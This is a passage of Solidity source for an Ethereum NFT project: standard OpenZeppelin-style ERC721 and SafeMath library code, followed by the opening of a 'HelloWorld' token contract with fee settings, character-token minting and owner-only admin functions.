* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data)
public returns (bytes4);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
using Counters for Counters.Counter;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => Counters.Counter) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
constructor () public {
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
}
/**
* @dev Gets the balance of the specified address.
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _ownedTokensCount[owner].current();
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenId uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param to operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address to, bool approved) public {
require(to != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][to] = approved;
emit ApprovalForAll(_msgSender(), to, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner.
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint256 tokenId) public {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transferFrom(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the _msgSender() to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransferFrom(from, to, tokenId, _data);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function _safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) internal {
_transferFrom(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether the specified token exists.
* @param tokenId uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _safeMint(address to, uint256 tokenId) internal {
_safeMint(to, tokenId, "");
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
* @param _data bytes data to send along with a safe transfer check
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_tokenOwner[tokenId] = to;
_ownedTokensCount[to].increment();
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use {_burn} instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own");
_clearApproval(tokenId);
_ownedTokensCount[owner].decrement();
_tokenOwner[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* @param tokenId uint256 ID of the token being burned
*/
function _burn(uint256 tokenId) internal {
_burn(ownerOf(tokenId), tokenId);
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(address from, address to, uint256 tokenId) internal {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_clearApproval(tokenId);
_ownedTokensCount[from].decrement();
_ownedTokensCount[to].increment();
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* This function is deprecated.
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
internal returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Private function to clear current approval of a given token ID.
* @param tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(uint256 tokenId) private {
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
/**
* @title ERC-721 Non-Fungible Token with optional enumeration extension logic
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721Enumerable is Context, ERC165, ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Constructor function.
*/
constructor () public {
// register the supported interface to conform to ERC721Enumerable via ERC165
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner.
* @param owner address owning the tokens list to be accessed
* @param index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev Gets the total amount of tokens stored by the contract.
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens.
* @param index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to transferFrom, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(address from, address to, uint256 tokenId) internal {
super._transferFrom(from, to, tokenId);
_removeTokenFromOwnerEnumeration(from, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to address the beneficiary that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
_addTokenToAllTokensEnumeration(tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use {ERC721-_burn} instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
_removeTokenFromOwnerEnumeration(owner, tokenId);
// Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund
_ownedTokensIndex[tokenId] = 0;
_removeTokenFromAllTokensEnumeration(tokenId);
}
/**
* @dev Gets the list of token IDs of the requested owner.
* @param owner address owning the tokens
* @return uint256[] List of token IDs owned by the requested address
*/
function _tokensOfOwner(address owner) internal view returns (uint256[] storage) {
return _ownedTokens[owner];
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
_ownedTokensIndex[tokenId] = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
_ownedTokens[from].length--;
// Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by
// lastTokenId, or just over the end of the array if the token was the last one).
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
contract ERC721Metadata is Context, ERC165, ERC721, IERC721Metadata {
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/**
* @dev Constructor function
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
}
/**
* @dev Gets the token name.
* @return string representing the token name
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev Gets the token symbol.
* @return string representing the token symbol
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns an URI for a given token ID.
* Throws if the token ID does not exist. May return an empty string.
* @param tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
return _tokenURIs[tokenId];
}
/**
* @dev Internal function to set the token URI for a given token.
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to set its URI
* @param uri string URI to assign
*/
function _setTokenURI(uint256 tokenId, string memory uri) internal {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = uri;
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use _burn(uint256) instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
/**
* @title Full ERC721 Token
* @dev This implementation includes all the required and some optional functionality of the ERC721 standard
* Moreover, it includes approve all functionality using operator terminology.
*
* See https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata {
constructor (string memory name, string memory symbol) public ERC721Metadata(name, symbol) {
// solhint-disable-previous-line no-empty-blocks
}
}
contract HelloWorld is Ownable, ERC721Full {
using SafeMath for uint256;
struct uri{
string url;
bool isVaild;
}
mapping(string => uint256) value_to_id;
mapping(uint256 => string) id_to_value;
// id => creator
mapping (uint256 => address) public creators;
address public foundationAddress = 0x40E6142eB4139342847eEEE679838cC9cDD7ff6b;
uint256 public addPay = 30000000000000000;
uint256 public foundationPay = 10000000000000000;
uint256 public creatorPay = 2000000000000000;
uint256 public ownerPay = 8000000000000000;
uint256 sizePx = 30;
mapping(uint256 => uint256) public usageCount;
mapping(uint256 => mapping(address => uint256)) public ownerIncome;
mapping(address => uint256) public ownerIncomeAll;
mapping(uint256 => uint256) public creatorIncome;
mapping(address => uint256) public creatorIncomeAll;
mapping(uint256 => uri) public tokenUrl;
mapping(uint256 => uint256) public initBytesLength;
event rgToken(uint256 indexed tokenId,address owner,string value);
event addToken(uint256 indexed tokenAId,address tokenAOwner,string tokenAValue,uint256 indexed tokenBId,address tokenBOwner,string tokenBValue);
constructor() ERC721Full("HelloWorld", "HelloWorld") public {
_mint(msg.sender, 0);
string[88] memory basic_characters = ["0","1","2","3","4","5","6","7","8","9", "a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","~","!","@","#","$","%","^","*","(",")","-","+","[","]","|",":","'",",",".","/","?","_","=",";","·"," "];
for (uint256 i = 0; i < basic_characters.length; ++i )
{
string memory character = basic_characters[i];
_registerToken(character,1);
}
}
function create(string calldata _value,uint256 _initBytesLength) external onlyOwner(){
require(bytes(_value).length > 0,"_value Can not be empty");
require(value_to_id[_value] == 0,"Already exist, please do not create again");
_registerToken(_value,_initBytesLength);
}
function setFoundationAddress(address _foundationAddress) external onlyOwner(){
foundationAddress = _foundationAddress;
}
function setTokenUrl(uint256 _tokenId,string calldata _tokenUrl,bool _isVaild) external onlyOwner(){
tokenUrl[_tokenId].isVaild = _isVaild;
tokenUrl[_tokenId].url = _tokenUrl;
}
function getUsageCount(uint256 tokenId) public view returns (string memory) {
return toString(usageCount[tokenId]);
}
function getIncome(address _address) public view returns(uint256,uint256){
return(ownerIncomeAll[_address],creatorIncomeAll[_address]);
}
